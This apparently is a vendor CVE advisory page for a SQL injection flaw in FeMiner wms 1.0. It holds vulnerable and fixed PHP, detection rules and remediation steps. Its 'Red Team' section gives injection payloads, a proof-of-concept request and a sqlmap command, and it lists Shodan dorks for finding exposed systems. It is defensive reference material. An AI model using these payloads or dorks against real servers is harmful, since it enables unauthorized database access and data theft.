☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-25994

CVE-2025-25994 SQL Injection in Feminer
📅 PUBLISHED: 2025-02-14 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25994 is a critical SQL Injection vulnerability discovered in FeMiner wms version 1.0. The flaw allows a remote, unauthenticated attacker to inject arbitrary SQL commands through the date1, date2, and id parameters. Successful exploitation can lead to unauthorized access to sensitive database information, including user credentials, business data, and potentially full database compromise. No official patch has been released by the vendor, and no public exploit code or Nuclei template is currently available. The vulnerability is classified under CWE-89 (SQL Injection) and aligns with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect any NPM, PyPI, Go, or Ruby packages. It is a standalone web application (FeMiner wms 1.0) and should be treated as a custom software supply chain risk. Organizations using this software must assess their exposure and implement compensating controls immediately.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (remote, unauthenticated SQL injection), the estimated CVSS v3.1 score is 9.8 (Critical).

  • Attack Vector (AV): Network
  • Attack Complexity (AC): Low
  • Privileges Required (PR): None
  • User Interaction (UI): None
  • Scope (S): Unchanged
  • Confidentiality (C): High
  • Integrity (I): High
  • Availability (A): High

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the handling of HTTP GET/POST parameters date1, date2, and id within the FeMiner wms application. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject SQL metacharacters (e.g., single quote ', double dash --, or OR 1=1) to manipulate the query logic.

Example vulnerable code snippet (conceptual):

$sql = "SELECT * FROM orders WHERE date BETWEEN '" . $_GET['date1'] . "' AND '" . $_GET['date2'] . "' AND id = " . $_GET['id'];

This allows an attacker to break out of the string context and execute arbitrary SQL commands, such as:

' OR '1'='1' -- 

The injection can be used to extract data from other tables, bypass authentication, or even execute system commands if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (FeMiner wms 1.0):

$date1 = $_GET['date1'];
$date2 = $_GET['date2'];
$id = $_GET['id'];
$query = "SELECT * FROM reports WHERE date BETWEEN '$date1' AND '$date2' AND id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

$date1 = mysqli_real_escape_string($conn, $_GET['date1']);
$date2 = mysqli_real_escape_string($conn, $_GET['date2']);
$id = (int)$_GET['id'];
$query = "SELECT * FROM reports WHERE date BETWEEN '$date1' AND '$date2' AND id = $id";
$result = mysqli_query($conn, $query);

Alternatively, use prepared statements:

$stmt = $conn->prepare("SELECT * FROM reports WHERE date BETWEEN ? AND ? AND id = ?");
$stmt->bind_param("ssi", $_GET['date1'], $_GET['date2'], $_GET['id']);
$stmt->execute();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy FeMiner wms 1.0 on a local server (e.g., XAMPP, LAMP).
  2. Ensure the application is accessible via HTTP.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /reports.php).
  2. Inject SQL payloads into date1, date2, or id parameters.

Example payloads:

  • date1=2025-01-01' OR '1'='1' --
  • id=1 UNION SELECT 1,2,3,@@version,5,6,7--

Proof-of-Concept (PoC) request:

GET /reports.php?date1=2025-01-01' OR '1'='1' -- &date2=2025-12-31&id=1 HTTP/1.1
Host: target.com

Automation with sqlmap:

sqlmap -u "http://target.com/reports.php?date1=2025-01-01&date2=2025-12-31&id=1" --batch --dbs

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for suspicious SQL keywords (e.g., UNION, SELECT, OR 1=1).
  2. Deploy a Web Application Firewall (WAF) with SQL injection rules.
  3. Use database activity monitoring to detect anomalous queries.

Mitigation:

  • Apply input validation and parameterized queries immediately.
  • Restrict database user privileges to least privilege.
  • If patching is not possible, consider taking the application offline or behind a VPN.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing SQL keywords in date1, date2, or id parameters.
    • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File IOCs:

    • Log entries with patterns like ' OR '1'='1' or UNION SELECT.
  • Database IOCs:

    • Unexpected queries to information_schema tables.
    • New user accounts or data exfiltration patterns.

Detection Engineering

YARA Rule

rule CVE_2025_25994_SQLi_FeMiner {
    meta:
        description = "Detects SQL injection attempts targeting FeMiner wms date1, date2, id parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25994"
    strings:
        $sqli1 = /date1=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
        $sqli2 = /date2=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
        $sqli3 = /id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
    condition:
        any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against FeMiner wms
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts in HTTP requests to FeMiner wms parameters date1, date2, id
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "date1="
            - "date2="
            - "id="
        cs-uri-query|re:
            - "'.*OR.*'"
            - "'.*AND.*'"
            - "UNION.*SELECT"
            - "DROP.*TABLE"
            - "'.*--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25994 SQL Injection Attempt - FeMiner wms";
    flow:to_server,established;
    content:"date1="; nocase; http_uri;
    pcre:"/(?:'|\")\s*(?:OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-25994;
    priority:1;
)

Remediation & Mitigation

  1. Immediate:

    • Disable the vulnerable parameters or restrict access to the application via firewall rules.
    • Implement a Web Application Firewall (WAF) with SQL injection signatures.
  2. Short-term:

    • Apply input validation and parameterized queries as shown in the patched code section.
    • Contact the vendor for an official patch; if unavailable, consider migrating to an alternative solution.
  3. Long-term:

    • Conduct a full security audit of the application.
    • Implement secure coding practices (OWASP Top 10).
    • Regularly update and patch all software components.

Valters IT – Securing your digital frontier.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

FeMiner wms
wms 1.0

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25994/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.